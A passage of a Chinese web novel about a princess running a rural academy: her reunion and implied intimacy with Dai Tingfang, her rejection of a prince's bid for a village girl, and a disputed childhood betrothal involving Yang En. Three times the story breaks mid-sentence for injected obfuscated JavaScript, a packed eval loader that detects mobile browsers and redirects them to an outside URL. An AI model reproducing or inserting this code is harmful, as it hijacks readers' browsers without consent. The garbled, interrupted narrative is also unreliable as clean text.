戴庭芳抓住了姜佑安的手腕,亲吻着她的手心,“带我一起走吧。” 他嘴唇的触感和呼出的热气让姜佑安觉得心中一荡,想要直接拿开手,吻在他好看的唇瓣上。 姜佑安回过头,对黎泱泱说道:“黎公子,我这里没事了,你去回王知府一声,告诉他以后不用留人在这里守卫了。” 不等黎泱泱回答,姜佑安就拉着戴庭芳进了屋,关上了房门。 见姜佑安和戴庭芳是两心相许,没有自己插足的余地,黎泱泱抱着遗憾的心情离开了。 房门内,戴庭芳正把姜佑安抵在门上亲吻,姜佑安搂着他的脖子,用唇舌承接着他浓烈的爱意。 “让我…跟你…一起走…”戴庭芳在亲吻的间隙说道。 “嗯…不行…”姜佑安口齿不清地回答道。 戴庭芳放开了姜佑安的嘴唇,轻轻摩挲着她的后背,“让我去吧…佑安…” 姜佑安的双手抚摸着戴庭芳的后颈,又慢慢移动到他的脸上,她温柔地轻声说道:“庭芳,这是为了你的安全。” 戴庭芳的双臂收紧,把姜佑安紧紧抱在怀里,“我不要离开你,不要。” 姜佑安紧贴在戴庭芳身上,感受着他急促的心跳和呼吸,她的心跳也同样加快了,“我,我向你保证,我会回来的。” “我要跟着你走,我要时刻守在你身边,不给别人可乘之机,不要看别的男人,你只看着我就好。”戴庭芳低头亲吻着姜佑安的脖子,喃喃地说道。 脖子上痒痒的,姜佑安轻轻笑了,“你在吃醋吗?” 戴庭芳抬起头,一脸委屈地看着姜佑安,“你喜欢的男人送上门来,要给你当男宠,我怎么能不吃醋?” “我这不是拒绝了吗?”姜佑安掐了掐戴庭芳白里透红的脸,“你改一改你这个爱偷听的怀习惯吧。” 戴庭芳不服气,“我要是不偷听,还不知道你要回京城呢,你是不是打算偷偷离开,都不告诉我?” 姜佑安有些心虚地收回手,“怎么会?我肯定会跟你商量的。” 戴庭芳抓住了她的手,放回自己的脸上,“我看见你摸他的脸了,你是不是还喜欢他?让他走了,你不会后悔吧。” “管他呢。”姜佑安的双手揉捏着戴庭芳的脸,开心地笑了,“反正现在是不后悔的,都怪戴老师牢牢地占据着我的心,让我都没有位置留给其他男人了。” 戴庭芳的嘴角终于露出了笑意,“那我更要跟着你了,京城里好看的男人那么多,万一我不在,让别的男人钻了空子怎么办?” 姜佑安凑过去,吻了吻戴庭芳的嘴唇,“属于你的位置,没有人可以钻进来。” 戴庭芳抱着姜佑安的身体,看着她的眼睛,听着她的深情告白,身上突然变得火热起来,他闩上门,拥着姜佑安回了卧室,上了床。 两个人在激烈拥吻,互相撕扯着对方的衣服时,戴庭芳的意识有了片刻清醒,他从姜佑安身上抬起头来,“佑安…我要跟你回京城…” “不行…”姜佑安喘息着拒绝道。 戴庭芳不再亲吻她,只用手隔着衣服,轻轻揉按着姜佑安的小腹,“答应我吧…” 姜佑安难耐地扭动着身体,她左手抓住了戴庭芳的胳膊,右臂揽着他的脖子,仰着头向他索吻,“别这样…继续…” 戴庭芳舔了舔嘴唇,努力克制着自己欲望,侧过头不去亲她,“答应我…就继续…” 180. 交换 姜佑安见索吻不成,直接把戴庭芳的脖子压下来,吻在了他的脸上,“庭芳,我想要你。” 戴庭芳咽了一下口水,“我也想,但你得先答应我,让我跟你一起去京城。” 姜佑安坐起身来,亲吻着戴庭芳的嘴角,双手探进了他的衣服里,轻柔地抚摸着他的身体,“我这是为了你好,我不想失去你,书院的孩子们也需要你,这件事,你就听我的,好不好?” “不好。”戴庭芳偏着脑袋,身体微微颤抖着,“邵老师是比我更好的老师,我不在也没关系,我要陪着你,有什么事,我们一起面对。” “我保证会回来找你,绝不睡别的男人。”姜佑安把戴庭芳压倒在床上,解开了他的衣服,亲吻他白皙的肌肤,“我只要你,你不相信我吗?” 戴庭芳的胸膛在剧烈地起伏着,他在期待姜佑安的亲近,却也不想放弃自己的坚持,他伸手抬起姜佑安的脸,看着她的眼睛。 “佑安,不要替我做决定,我想和你站在一起,不管你去哪里,我都要陪着你,我不想在这里安静地等着你处理好所有的事,再回来找我,那会是我终生的遗憾,我想要参与你的余生,我想要你转过头来寻找我时,我一直都在。”戴庭芳红着脸说道。 姜佑安愣了片刻,俯身抱住了他,“抱歉,我自以为是为你好的想法,忽略了你的感受。” “没关系,我知道你是担心我。”戴庭芳在姜佑安的耳边轻声说道,“可我也担心你,看不到你,我会吃不下饭,睡不着觉,让我跟你一起去吧。” “嗯。”姜佑安放开戴庭芳,点了点头,“不管会发生什么,我都和你在一起。” 戴庭芳抬起头,凑过去亲吻姜佑安的嘴唇,轻声呢喃道:“我要和你在一起,没有人能将我们分开。” 姜佑安笑了笑,轻轻回应着戴庭芳的吻,双手在他身上尽情摸索,“可以继续了吗…相公…” 听到姜佑安甜蜜地呼唤他,戴庭芳翻了个身,把姜佑安压在身下,“我们明天就成亲,好吗?” “何必要等到明天?”姜佑安解开了自己的衣服,轻笑着拉过戴庭芳的手,“我们现在就入洞房吧。” “娘子…”戴庭芳激动得呼吸都有些颤抖了,他两手把着姜佑安的腰,俯身贴了过去。 房间里春情正浓,房屋外一片寂静,没有人来打扰两人的独处时光,直到傍晚时分,李长风才来敲了敲门,说晚饭做好了,问戴庭芳要不要去杨恩那里吃晚饭。 戴庭芳说不去了,他要自己做饭吃,李长风便离开了。 看戴庭芳起床去做饭,姜佑安也穿好衣服下了床,她刚打开门,就见姜白凤拎着一个食盒来到了院门口。 姜佑安问她怎么会来这里,姜白凤说是袁竹让她来的,袁竹说姜佑安接回了戴老师,两个人要好好团聚,肯定不想过去吃饭,就让她送过来了。 姜佑安谢过姜白凤和袁竹,拿了食盒回了屋,叫戴庭芳不用去厨房折腾了,赶紧过来吃饭。 清晨,袁家院门刚打开没多久,姜佑安就拎着食盒来了,她把食盒送进厨房里,去了花田里帮忙剪花,顺便跟袁竹说了接回戴庭芳的经过。 袁竹觉得很庆幸,戴庭芳和心柔都找回来了,也都平安无事。 回到袁家,众人吃过早饭,各自忙去了,袁园也开门迎客了,陆续有人从大路上过来,他们不止要逛园子买绢花,还想要来袁家拜访公主,都被姜白凤给拦下了。 有些商人乘坐马车而来,准备了大包小包的各色礼品,要送给公主,姜白凤进去问过之后,也都拒绝了。 袁萱草过来串门,在门口看了会儿热闹才进去,过了二门,她看到姜佑安正坐在屋檐下看书,虽然身上还穿着粗布衣裳,但总感觉她有什么地方不一样了,让袁萱草不敢靠近。 郭英从外面走进来,拍了拍袁萱草的肩膀,“袁家姐姐,你怎么不过去啊?” 姜佑安抬起头来,笑着问候道:“你们来了,去屋里搬椅子出来坐吧,这天气,屋里还有点儿阴冷阴冷的,晒着太阳又觉得热,在这儿坐着正合适。” 郭英走过去搬了椅子出来坐,袁萱草站在一旁,有些不知所措。 “怎么了?袁姐姐,你怎么不坐?”姜佑安问道。 “哦,我也坐。”袁萱草连忙应了一声,去屋里搬了椅子出来。 “你去外面看了吗?门口可热闹了。”郭英说道。 姜佑安低下头,手上翻着兵书,“没看。” “门外边好多送礼的,你都不收吗?”袁萱草问道。 姜佑安没有抬头,“送礼的都是有求于人,我不想替他们办事。” “昨天也有人送礼过来,你不是收了吗?”袁萱草问道。 “那不一样,王大人就像我亲叔叔一样,他送的东西,我收着没有负担。”姜佑安说道。 “那我送的东西,你收不收啊?”庄伯章从二门进来,扬声说道。 姜佑安放下书,有些戒备的问道:“你来干什么?” “我来送礼啊。”庄伯章笑呵呵地走了过来,“衣服首饰之类的,王知府都送过了,我就没准备这些,我看你一直这在这种寒酸的地方,肯定受了不少苦,我给你买了几个下人带过来,让她们好好伺候你,我还从定州叫了个厨子过来,食材我也都买来了,你想吃什么,就让她给你做。” 姜佑安看着庄伯章身后跟着的一大堆人,砸了一下嘴,“谁说我想要人伺候了?人你都带走,别过来烦我。” “你先别急着拒绝,我这个礼物你肯定喜欢。”庄伯章挥了挥手,两个小厮从后面走了过来,弓身行礼道:“见过公主殿下。” “抬起头来,让公主好好看看你们的脸。”庄伯章说道。 姜佑安抬眼看过去,见两人样貌还算清秀,她把书放在了椅子上,站起身问道:“你这是什么意思?” “你不是喜欢相貌英俊的男人吗?我都给你带过来了,你还不谢谢我?”庄伯章得意地说道。 “英俊不英俊先不说,王大人送我东西,我可以放心收,你就不一样了,突然过来讨好我,是有什么目的?”姜佑安问道。 “你这就太见外了吧,我们兄妹情深,我关照你,也是应该的。”庄伯章笑着说道。 姜佑安不耐烦地看着庄伯章,“别跟我装亲热,有话快说,有屁快放!” 庄伯章皱起了眉头,“你说话怎么变得这么粗俗?” “我是粗俗,不像您这么高贵,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092600|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是赶紧走吧,我们这里灰尘大,别弄脏了您尊贵的鞋底。”姜佑安挖苦道。 庄伯章讪笑着靠过来,“别这么说嘛,公主殿下。” 姜佑安赶忙推开了他,“你要干什么,赶紧说,别在这里恶心我。” “嘿嘿。”庄伯章傻笑了两声,“我是想用这么多人,跟你换一个人。” “换一个人?什么意思,说清楚点儿。”姜佑安说道。 “我喜欢阮荷,你把阮荷姑娘给我吧,我用这么多人跟你换,你肯定不亏的。”庄伯章说道。 姜佑安早已猜到他的意图,干脆利落地拒绝了,“阮荷不是我买来的下人,没办法跟你换。” “那你帮我劝劝她,只要你能让她跟了我,我再去给你买两个男人过来。”庄伯章说道。 “她之前不是跟你提过条件的吗?你都忘了?”姜佑安说道。 “我没忘,不过你说,她提出的那些条件,谁能做到?你让她再考虑考虑,有你这层关系在,我一定会好好待她的。”庄伯章说道。 “让她科举你确实做不到,不过,给她找几个清秀的小丈夫,对你来说,不是轻而易举的事吗?你要是真心喜欢她,买几个小厮给她不就行了,何必来求我?”姜佑安说道。 “这怎么能行?”庄伯章皱起了眉头,“从来都是男人三妻四妾,哪有女人有好几个丈夫的?” “怎么不行?你不是刚刚还说要再买几个男人给我吗?”姜佑安问道。 “你是你,她是她,你是当朝公主,她不过是乡野村姑,怎么能和你相提并论!”庄伯章说道。 “公主也好,村姑也好,都是女人,没什么不同,甚至男人和女人也都没有什么不同,你喜新厌旧,见一个爱一个,女人也一样,你喜欢阮荷,就把她弄回去,养在宅院里,让她为你守贞,不觉得很不公平吗?你可以有多个女人,她就可以有多个男人,你想让她只有你一个男人,那你就应该只要她一个女人。”姜佑安说道。 “你这都是什么歪理邪说!公主和村姑,区别可大了,男人和女人更是不同,要是公主和村姑都能有多个丈夫,这世界不就乱套了吗?”庄伯章说道。 “怎么会乱套?京城里的官员娶那么多老婆,我也没见哪里乱套了,你家里乱套了吗?”姜佑安反问道。 “那能一样吗?那,那……”庄伯章被气的语无伦次,好不容易才想出了一个理由,“那血脉不就乱了吗?女人有那么多男人,生出的孩子,谁知道是哪个的种?” “女人有多个丈夫,血脉根本不会乱,她十月怀胎生出的孩子,一定是她的血脉。”姜佑安笑了起来,“可反观你们男人,确实跟女人不一样,你以为把女人关在宅院里,血脉就不会乱?你老婆生的孩子,就是你的血脉吗?你能确定吗?” “女人的血脉哪里算数?要延续的是男人的血脉!她们要敢背着我偷男人,乱了皇家血脉,就该被活活打死!”庄伯章反驳道。 一直在房门内听着的阮荷走了出来,对庄伯章说道:“庄公子,你说得都对,正因为女人都是在帮男人延续血脉,所以我才不愿意嫁人,之前那两个条件,是我乱说的,我没打算成亲,也不会生孩子,更不会进到你的宅院里为你守贞。” 181. 英勇 “知道我是皇子,你还要拒绝我?”庄伯章问道。 “跟你的身份没关系,不管你是皇子还是平民,是要我做妻还是做妾,我都不会跟你走,我早就决定了,我不会进到任何一个男人的后宅里,终有一天会拥有我自己的前院。”阮荷说道。 “说得好!”姜佑安忍不住为阮荷鼓起掌来,“世界宽广,要是只蜷缩在后宅里,就太可惜了,你应该有自己的爱好,有自己的事业,还能在前院里招待你志同道合的朋友,以后我一定会去你的院子里做客的。” 阮荷开心地笑了,“嗯,到时候我一定会邀请佑安姐姐的。” 庄伯章用看疯子的眼神看着姜佑安和阮荷,“你们在说什么疯话呢?庄庆容,你这样乖戾的女人就不应该开什么书院,你看看,好好的孩子都让你给教坏了,女人注定是要嫁人的,在后宅相夫教子才是你们的本分!” 姜佑安轻轻摇了摇头,“既然我们不能互相理解,就不必再费口舌了,小阮不愿意跟你走,庄伯章,你带上这些人,快回去吧。” 庄伯章见此事没有了商量的余地,气得一甩袖子,骂骂咧咧地转身出去了,呼啦啦一大群人也都跟着出了二门。 郭英走到姜佑安身边,小声问道:“得罪了他,不会惹出什么事来吧?” 姜佑安微笑着安慰她,“你放心好了,他是我们兄妹几个之中最没出息的,睡一觉他的气就消了,他那种轻浮的性子,等再看见一个美人,连小阮是谁他都想不起来了。” 袁萱草也走了过来,“姜院长,你当公主的时候,应该被人伺候惯了吧,怎么也不留几个下人伺候你?” “没人伺候的生活我已经习惯了,有人伺候,我倒觉得不方便了。”姜佑安说着回到了椅子边,正要坐下时,发现还有两个人在二门内的走廊边站着,仔细一看,是周帛和一个陌生的中年男人,周帛的表情有些怯懦不安。 姜佑安向两人走了过去,“周帛,你来了怎么也不说一声。” 男人赶忙迎上去,弓身行礼道:“草民周通海,见过公主殿下。” 姜佑安停住了脚步,“你是?周帛的父亲?” “正是。”周通海直起身来,见周帛没跟过来,忙去把她拉过来,“帛儿,快向公主殿下行礼。” “不必了。”姜佑安赶忙阻拦,“周帛是我心爱的学生,不用管这些虚礼,你们来找我,是有什么事吗?” 周帛紧抿着嘴唇没有说话,周通海乐呵呵地答道:“是有一件小事,想要麻烦公主殿下。” “您叫我姜院长就好。”姜佑安走过去,牵起了周帛的手,“走,我们进屋说吧。” 姜佑安把两人带到了堂屋里,让两人坐下说话,外面的人知道周帛父子有事要跟姜佑安说,就没有跟进去,阮荷回了房间,郭英和袁萱草一起去旁边的院子里找心柔去了。 见姜佑安倒了茶端过来,周通海赶忙起身接下,“怎么好麻烦您,我们自己来就好了。” 姜佑安去主位坐了,向周帛问道:“今天来找我,是有什么事?” “姜院长,我们今天过来是为了跟您谈谈我女儿的亲事。”还不等周帛回答,周通海就抢先答道。 “周帛的亲事?我记得你不是要把周帛许配给王公子吗?怎么又来找我商量?”姜佑安问道。 “我原本是这么计划的,我就剩这么一个女儿了,给她挑夫婿还是得慎重些,我跟那王公子相处一段时间之后,发现他人品不太好,往后估计也没什么出息,就跟王家退了亲。”周通海说道。 “退亲了也挺好,周帛年纪还小,根本用不着这么早定亲,让她在你们身边多陪你们几年,不也挺好。”姜佑安说道。 听到姜佑安这么说,一直低着头的周帛终于抬头看了她一眼,姜佑安朝她笑了笑,她又低下了头。 周通海有些为难地说道:“我们是想多留她几年,不过男大当婚女大当嫁,我也怕留她在家里,耽误了她的婚事。” “有什么耽误的?你看重你的女儿,就该把她留在家里,给她招个婿,把她送到别人家里去,才是耽误她。”姜佑安说道。 “您说的是。”周通海尴尬地叹了口气,“说起来都怪我,喝醉了酒乱说话,跟朋友定下了娃娃亲,我朋友他老婆身体一直不好,孩子还小,他老婆就没了,后来我朋友去了京城,我就一直担心他会带着儿子回来,说要娶我女儿,他儿子身体要是像他老婆一样差,不就耽误了我女儿的一辈子吗?” “只是一个醉酒后的约定而已,为了你女儿着想,直接毁约不是更好?就算你朋友回来了,要娶你女儿,你就直说你反悔了,你要尊重你女儿的意愿,你女儿说不嫁就不嫁,给你朋友赔礼道个歉也就是了,既然是朋友,总不至于要强娶,要真想强娶你女儿,那也算不得是朋友了,为此而闹掰了,也算不上什么。”姜佑安说道。 周帛再次抬起头看向姜佑安,她的眼睛亮亮的,像是突然燃起了希望。 “怎么说也是多年的朋友,彼此都知根知底的,我怎么好当面毁约。”周通海说道。 周帛转头看了看周通海,又把头低了下去。 “你要是觉得你和朋友的约定比你女儿的终身幸福还要重要,那我也没什么好说的,你来找我是什么意思?想让我给周帛说一门亲事?”姜佑安问道。 “不是不是。”周通海摇了摇头,脸上绽放出开心的笑容,“是有一门现成的婚事,我想请您成全。” “哪里有什么现成的婚事?”姜佑安问道。 “前天,我陪帛儿去城隍庙参加祭祀,当时不是闹得很厉害吗?知县大人说要把您关起来的时候,有一个特别英勇的男人护在了您的身前,我看他的模样,和我那位朋友非常像,我想问问您,他是不是姓李啊?”周通海问道。 姜佑安看了一眼周帛,看来跟她定了娃娃亲的就是长风,“他是姓李。” 周通海高兴地直拍大腿,“我就知道,肯定是他!这孩子,跟他爹李术长得简直是一模一样,我不会认错的!” “你不是不想认这门亲事吗?”姜佑安问道。 “我原本是这么想的,可我看那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097508|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子长得挺健康的,还在您的手下做事,帛儿要是跟他成了亲,我不用背弃承诺就不说了,嫁得这么近,还有您护着,我和她娘也觉得放心多了。”周通海高兴地说道。 姜佑安看向周帛,“周帛,你的想法呢?你想嫁给长风吗?” 周帛抬起头来,犹豫了一下,才回答道:“我不知道。” “她还小,什么都不懂,这事我替她做主就是了,您不用问她,姜院长,麻烦您把李公子叫出来,让我们跟他相认吧。”周通海说道。 姜佑安知道周帛的个性向来是有些摇摆不定,经常被别人的想法带着跑,恐怕她自己也不知道自己想不想成亲,这事只能从她爹身上下功夫了。 “我可以把他叫过来,只不过,长风的父亲早就过世了,他父亲既没有跟他说过娃娃亲的事,也没有给他留下任何信物,反正他也不知情,不如你也当做没有这个事,给周帛另寻良配吧。”姜佑安说道。 “李术没了?”周通海叹了口气,“唉,他这么多年都没有回来,我早该猜到的,真是可惜,这孩子能长这么大也不容易,估计您也为他费了不少心,他在城隍庙里才那么护着你,真是善良又有担当的孩子,跟他爹一个样,良配不好寻,我看这孩子就不错,以后成亲了,肯定也是个会疼人儿的。” “周帛还小,你还是再考虑考虑吧。”姜佑安说道。 “我也没说要他们马上成亲,只是先见个面,知道有这么个事,这孩子没有爹娘在身边,多可怜啊,我还想让他去我家住一段时间,好好招待他一下,听他说说他爹的事。”周通海说道。 姜佑安觉得周通海说得也有理,没必要拦着他跟故人之子见面,就出去找了春花,让她去把李长风叫过来。 这门亲事,长风要是不同意,也成不了,长风这孩子,从没见他对哪个女孩子感兴趣,应该不会同意吧,两个小孩子,说这些,真是太早了些,就算长风同意,她也要让两人晚几年再成婚。 周通海坐在椅子上,不时转头向门外看,周帛不安地拧着手指,也拿眼睛偷偷往门口瞄。 没过多久,腰间佩剑,脚下生风的李长风快步走了进来,“公主殿下,您找我?” “叫什么殿下!叫姐姐。”姜佑安站起身,招呼他走到近前来,“长风,我介绍两个人给你认识。” 李长风转头看着座椅上的两人,“这不是周帛吗?我认识,这位是?” 周通海站起身来,连忙摆手,“不是他!我说的不是他。” 周帛闻言,一脸疑惑地抬起头来,不是李长风?那是谁? “不是他?怎么会不是?在城隍庙里英勇地护在我身前,姓李的孩子,就是他啊。”姜佑安说道。 周帛站起身来,“这里姓李的男人,只有他一个,不是他还能是谁?” “不是他,当时还有另外一个男人。”周通海说道。 李长风奇怪地问道:“什么是不是的,哪个男人?你们在说什么呢?” “另一个男人?”姜佑安恍然大悟,“你说的不会是杨恩吧!” 182. 身世 “杨恩?他姓杨,不姓李?”周通海也有些拿不准了,“他的长相和李术那么像,怎么会姓杨呢?” 姜佑安想起杨恩拖着重病的身子也要送他父亲的尸身回到这里,想起山上那个没立碑的墓,还想起杨恩说他家以前在这附近居住过。 “你老友的孩子说不定就是杨恩,他可能在京城的时候改过姓,长风,杨恩在家吗?你去把他叫过来。”姜佑安说道。 “他在,我这就去叫他。”李长风没有多问什么,转身跑了出去。 “怎么会是他?”周帛回到椅子边坐下,有些魂不守舍的样子。 姜佑安看了看周帛,向周通海说道:“你说是个英勇的孩子,我就以为是长风了,没想到会有这样的误会。” “刚才的孩子是很英勇,但那孩子也不差,他手无寸铁,还敢在官差面前护着你,这样的勇气,不是一般人能有的。”周通海称赞道。 姜佑安想了想,觉得他说的有几分道理,李长风是学过武的,手中还拿着武器,自然心里有底,跟他比起来,确实是杨恩更有勇气,不过,杨恩能这样冲在前面保护自己,估计是还在念着当初的救命之恩,得好好跟他说说才是,以后一定要先顾着自己的安全。 “杨恩这个人确实不错。”姜佑安回到椅子边坐了,端起了茶杯,“不过,我也没想到你朋友的孩子,会比周帛大这么多。” 周通海也坐了下来,“当时虽说是怪我喝了酒,不过,我也看好了那孩子性格稳重,差八岁也不算多,再说了,男人岁数大点儿也没什么,肯定比毛头小伙子知道疼人。” 三人都没再说什么,堂屋里安静了下来。 得知定了娃娃亲的对象是杨恩,周帛心里暗暗有些期待,她一直觉得杨恩长得很好看,比起李长风那样的小孩子,杨恩这样的大人更让她心生欢喜,如果嫁给他,生活在这里,天天都能练射箭,还能时时向老师们请教,好像也不错。 周帛正沉浸在幻想里,没注意到杨恩已经来到了门口。 “就是他!”周通海高兴迎了上去,“宗本,你是宗本吧。” 杨恩的眼神有片刻的慌乱,他没有回应周通海,而是看向姜佑安,“姜院长,你找我有什么事?” 姜佑安放下了手中的茶杯,微笑着介绍道:“这位是周帛的父亲周通海,他在端午节祭祀典礼上见过你,说你长得很像他的一位旧友,所以想见见你确认一下。” “宗本,我是你周伯伯啊,你不记得了?你小的时候,你爹经常带你去我家喝酒。”周通海指向一旁的周帛,“这是我家的帛儿,你们搬到李家村的时候,我还带她去看过你们,你那时候还抱过她,你都忘了?” “你认错人了,我不认识你,也不认识你女儿。”杨恩冷漠地说道。 周通海皱起了眉头,“你这孩子,怎么说不认识呢?你爹在李家村住的时间短,他们认不出你来,我跟你爹可是老朋友了,你就是李宗本,你爹叫李术,你娘叫杨琴,我都记得清清楚楚,你敢说不是?哦对了,你改姓杨了,是跟了你娘的姓是不是?” “不是。”杨恩摇头否认,“我从没有在李家村住过,我姓杨是因为我爹姓杨。” “我还想着带你回家,跟你叙叙旧,聊一聊你爹的往事。”周通海失望地看着杨恩,“你现在是公主殿下的人,你发达了,就嫌我们穷酸了,不想认我们了是不是?” “你认错人了,我不是你要找的李宗本。”杨恩看向姜佑安,“姜院长,我那里还有活没干完,要是没有其他的事,我就回去了。” 姜佑安能感觉到,杨恩就是周通海要找的人,可他既然不想承认,自己也不好勉强,正好她也觉得周帛和杨恩岁数差得有点大,等之后再单独去问他有什么隐情吧。 “行,你回去吧。”姜佑安说道。 杨恩转身走了出去,周通海跟到了门边,向他的背影喊道:“宗本,我知道你就是宗本,你为什么不承认?你说你姓杨,那你爹叫什么,你告诉我!” 杨恩回过头来,一字一顿地答道:“我爹叫杨天石。” 杨恩离开了,周通海站在门边,满心不解,他明明就是李宗本,怎么说他爹叫杨天石?杨天石是谁? 杨天石,姜佑安在心里默念这个名字,觉得有点耳熟,是在哪里听过来着?她一时想不起来了。 周帛走到了周通海的身边,轻声说道:“爹,我们回去吧。” 周通海转过身来,仍有些不死心,“姜院长,他说他爹叫杨天石,你知道杨天石是谁吗?” 姜佑安摇了摇头,“不知道,我只知道他爹已经死了,就埋在这后山上。” “他爹死了?死了的是李术还是杨天石?他明明就是宗本,为什么不肯承认?难道他真的嫌弃我们了?”周通海喃喃自语道。 “杨恩不是嫌贫爱富之人,时隔多年,再深刻的记忆都会变得模糊,也许真的是你认错了人,他就是杨恩,不是李宗本。”姜佑安说道。 “可能是杨大哥看不上我,算了吧,我们回去吧。”周帛轻声劝道。 姜佑安走了过来,“周帛,这跟你没关系,他在这里这些年,也有不少人要给他说亲,他连人家姑娘的面都没见,就拒绝了,我看他根本就没有要娶妻生子的打算。” “那怎么能行,不娶妻,李家不就绝后了吗?”周通海说道。 “他姓杨,不是李家人,你肯定是认错了。”姜佑安说道。 “不可能!他的那双眼睛和李术那么像,我不会认错的,他肯定是有什么原因,不愿意认我。”周通海说着点了点头,“对,他肯定是有什么苦衷,他是个好孩子,从小就听话懂事,不可能发达了就不认我了。” “不管他有什么原因,既然他不想认,你也别强迫他,他不承认不是正好吗?娃娃亲的事,就不用管了,你就回去给周帛另寻人家吧,或者给她找个赘婿也好啊。”姜佑安说道。 “宗本是李兄的独子,李兄已经走了,我得替他看顾好他唯一的血脉。”周通海牵起了周帛的手,“走,咱们回去,明天带上信物再来,我就不信他不认我!” 周帛向姜佑安点头行礼,和周通海一起匆匆离开了。 一直守在门口的李长风这才走了进来,姜佑安正要坐下歇歇,看到他走过来,便一边向椅子边走,一边开口说道:“你还在呢,我还以为你跟杨恩一起走了。” 李长风走到姜佑安身边,小声问道:“姐姐,你不记得杨天石了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102064|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 姜佑安端起茶杯的手顿了一下,“我听着这个名字是有些耳熟,你认识他?” “杨天石是皇上的御前近侍,曾经好几次跟着皇上来过公主府,我没跟他说过话,但这个人我还是记得的。”李长风说道。 “哦,是他。”姜佑安也想了起来,“可是他不是从小就进宫当了太监吗?怎么会有儿子?” 李长风也听说过太监不会有孩子,于是猜测道:“可能是他领养的孩子。” 姜佑安点了点头,“有这个可能,杨恩小时候跟着父亲一起去了京城,后来父亲病死,他就被杨天石收养了,大概是觉得认了太监做父亲,还改了姓,太丢人了,所以不想承认吧。” “我要是认了太监当爹,也会觉得丢人的。”李长风说道。 姜佑安喝了口茶,把杯子放回了桌上,“不过是为了活命,身不由己罢了,有什么丢人的?当初要不我指名要你当侍卫,你可能也要当太监去了。” “是啊,我很幸运。”李长风微微一笑,“正因为如此,我才会一直追随姐姐。” “我要是回京城的话,你也想一起回去吗?”姜佑安问道。 “当然了,姐姐去哪儿,我就去哪儿。”李长风说道。 “这里的生活平稳安逸,你就在这里陪着袁竹她们,不好吗?”姜佑安问道。 李长风摇了摇头,“我的职责是守卫你的安全。” “你早就不是我的侍卫了,这些年,你的零花钱都是袁竹给的,你应该去守卫她才是。”姜佑安笑着说道。 “袁姐姐要守卫,姜姐姐也要守卫。”李长风认真地说道。 “等我回到京城,就给你脱籍,到时候你就是完完全全的自由人了,想去哪里都行,你也就不用守着我们了。”姜佑安说道。 李长风的表情很难过,“你要赶我走吗?” 姜佑安站起身,拍了拍李长风的肩膀,“不是赶你走,是给你自由,你还小,所以不懂,自由是天底下最珍贵的东西,你可以留下,也可以走,都由你自己做决定。” “那我要留在你身边。”李长风马上答道。 姜佑安笑了,“好啊,那就留下,过一阵子,我就要动身去京城了,你记得先跟你的朋友们道个别。” “嗯。”李长风点了点头。 “你回去吧,杨恩的身世,记得不要跟任何人说。”姜佑安说道。 李长风应了一声,走了出去,姜佑安喝着茶,觉得房间里异常得安静。 自从东侧房间里的人都搬出去之后,除了吃饭时,其他人就很少走进来了,现在袁竹和辛开元也不在,三间房里只有她一个人,难怪这么安静。 姜佑安站起身,走了出去,坐在廊下继续看书,东侧厢房门口有几个女人搬了椅子出来,在蔷薇架下做针线活,几只麻雀叽叽喳喳地飞过来,吵闹了一阵,又叽叽喳喳地飞走了。 下午,袁竹带着几个女人去了花田拔草,姜佑安也去拔了一阵,跟辛开元说了会儿话,就回了戴庭芳那里。 第二天一早,刚吃过早饭没多久,周通海就带着周帛来到袁家,只跟姜佑安寒暄了几句,就拿出了一块玉璧来,说一定要跟旧友的儿子相认。 183. 拒绝 姜佑安看周帛呆坐在那里,想起了她说要向自己和袁竹学习,以后做出一番事业时,那意气风发的模样。 姜佑安在周帛身边的椅子上坐了,轻声问道:“书院还在放假,你今天来,是要做什么?” “我爹让我见一见杨大哥,跟他好好说说。”周帛轻声说道。 “姜院长,她小孩子家,不懂事,您跟我说就好了,宗本是我好友的独子,我一定要认下他,把他当亲生儿子看待。”周通海说道。 “你要把别人的儿子当你儿子,还要把你女儿送给他?”姜佑安问道。 “您这话说的,我哪有把女儿送给别人,我只是希望我们两家顺利结亲,两家成一家,他当我儿子,不就是顺理成章的事了?”周通海笑着说道。 “两个孩子的意愿,你有考虑过吗?”姜佑安又问道。 “我女儿的事,当然是我说了算了,我都跟帛儿说好了,她愿意的,宗本的父母都不在了,我这个伯父给他说亲,他没理由不同意。”周通海说道。 姜佑安朝周帛侧过身去,“你愿意跟杨恩成亲?” 周帛笑了笑,“杨大哥是个好人,我觉得他比王公子合适。” “那肯定的,李术教出来的儿子,人品肯定是不错的。”周通海说道。 